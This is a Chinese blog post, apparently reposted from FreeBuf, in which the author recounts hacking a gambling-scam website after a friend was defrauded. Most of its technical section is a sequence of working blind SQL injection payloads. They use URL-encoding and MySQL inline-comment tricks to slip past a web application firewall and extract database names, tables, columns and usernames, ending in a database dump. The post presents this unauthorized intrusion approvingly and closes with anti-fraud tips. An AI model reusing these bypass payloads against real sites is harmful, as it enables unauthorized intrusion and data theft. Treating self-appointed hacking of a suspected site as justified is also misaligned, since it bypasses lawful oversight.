前言

周末的清晨,我在模模糊糊的睡梦中被电话惊醒,发现好多未接视频,连忙的看了一下手机,发现我高中的大美女找我,难道是我的桃花运要来了?赶紧问问她找我干嘛。

看来是出事了,先问问她怎么回事把,虽然说她的诱惑力很大,但总的知道怎么回事吧

据朋友交代,他们是通过qq联系的,然后让他在一个啵菜APP上下注,下的注都是他们让下哪个就下哪个的,本来他也是抱着试试的心里,可是,前几天下注都很准,几乎全中,所以他就加大了本钱,在加本钱的时候就中的不怎么多了,有时候还会赔钱,可是那时候就想着下一把就赢回来了,就忍不住的跟下去,一来二去就把自己身上的所有钱就投进去了,变成了血本无归。

像这种非法的诈骗人人得而诛之,居然欺负到我身边的人身上了,为了防止地球被破坏,为了维护世界的和平,高大又帅气的我只能挺身而出了。

技术实战

通过和好友的交流,我得到了俩个有用的信息:

  1. qq号:562xxxxxxx

  2. 啵菜APP:某啵菜

我看了一下对方qq,额,,,连空间都没有开通,一点有用的信息都没有。

在试试APP,抓包看看:

可以看到网址:xxx.xxx.com,打开之后是这个样子

先对目标收集一下信息,发现只开了80和443端口,是一个php 5.x的程序,没有识别出cms系统,等等信息。

不管那么多了,先扫一下看看有没有漏洞

居然没有,看看其他的信息,其中扫描目录的时候发现了网址的后台:Login.php

好家伙,连验证码都没有,先包爆破一些试试:

不纯在弱口令,自己随便提交试试:提交后url居然多了一个id,试试这个有没有注入

好吧,研究一下怎么绕过。

常见的绕狗方法

先判断是否存在注入

1' and 1=1--+      # 拦截
1' or 1=1--+       # 拦截
1' && 1--+         # 拦截
1' || 1--+         # 拦截
使用url对&&和||编码可以绕过拦截
1' %26%26 True--+      # 不拦截
1' %26%26 false--+     # 不拦截
1' %7c%7c True--+      # 不拦截
1' %7c%7c false--+     # 不拦截

通过下面这俩条语句基本可以判断出存在漏洞
1' %26%26 True--+
1' %26%26 false--+

除了使用URL编码外,还可以使用其他的编码方式进行绕过尝试,例如Unicode编码,Base64编码,Hex编码,ASCII编码等,原理与URL编码类似。

下面来判断数据库的长度

1'%26%26 (length(database())=8)--+  # 拦截
'%26%26 (length(/*!database*/())=1)--+  # 不拦截

数据库的名称一样可以获取到
'%26%26 (ascii(substr((/*!database*/()),1,1))>64)--+

当语句中存在database()语句的时候就会拦截,所有要想办法对database()函数进行处理,在mysql中 /! ..../ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!..../中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。可以尝试使用/! ..../,包含database(),构造成这样的语句,成功绕过,这里有回显,这就好弄,成功判断出数据库的长度为8

通过上面的方法获取用户名的长度为14

'%26%26 (length(/*!USER*/())=14)--+  # 不拦截

还有获取版本信息:' %26%26 (ascii(@@version)=53)--+

获取数据库的表数量,使用正常的语句一样会被拦截

' %26%26 (0<(select count(table_name) from information_schema.tables where table_schema=DBname))--+    # 拦截

其中count(table_name)这个函数造成了拦截,还用之前的方法,把count函数用/!../包起来,发现会报错,那把table_name用/!../包起来,就绕过了

' %26%26 (0<(select count(/*!table_name*/) from information_schema.tables where table_schema=DBname))--+

获取数据库的表名,这个语句拦截出在select xx from,一般出现select xx from都会被拦截,思路可以想上面的获取数量一样,使用一个函数将xx包起来,经过尝试发现可以绕过的语句

' %26%26 (0< substr(select table_name from information_schema.tables where table_schema='DBname' limit 0,1)) --+  # 拦截

' %26%26 (0< ascii((select substr(/*!table_name*/,1,1) from information_schema.tables where table_schema=DBname limit 0,1))) --+    # 不拦截

取数据库的字段,和上面的思路同理

' %26%26 (0< ascii((select substr(/*!column_name*/,2,1) from information_schema.columns where table_schema = DBname %26%26 table_name = users LIMIT 1,1)))--+    # 不拦截

然后获取数据就没有什么难的了

' %26%26 (0<ascii(substr((SELECT group_concat(/*!username*/) FROM `DBname`.`users`),1,1))) --+    # 不拦截

居然语句整都整理好了,那就拿burp扫把,现在就查最后一步了,脱裤,如何脱就不说了,想研究的可以自己百度。

这么多数据,哎好多人被骗了,先提交给公安部门把。

最后

成功的约到美女了,在吃饭的时候她问了好多关于网络诈骗的问题,看来真的是害怕了,为了体现我的高大上,我就给你好好的讲一下吧

网络诈骗中最常见的就是短信诈骗,短信诈骗的内容也是日新月异,有说你中奖的,有说你购物有问题的,又说你有积分兑换的,有说让你下载软件的,各式各样,有些人看到了部分信息是自己的就觉得是自己,其实很多不法分子可以通过一些手段获取你的信息,还有像你一样觉得会天上掉馅饼,没有付出就有回报,这种是很容易被骗的,想要判断是不是骗局,首先要判断这种信息是不是官方发的,如果不确定可以打电话询问,要不简单的轻信,没有天上掉馅饼的好事,网络诈骗很多,需要自己去判断分析。

本文作者:酒仙桥六号部队, 转自FreeBuf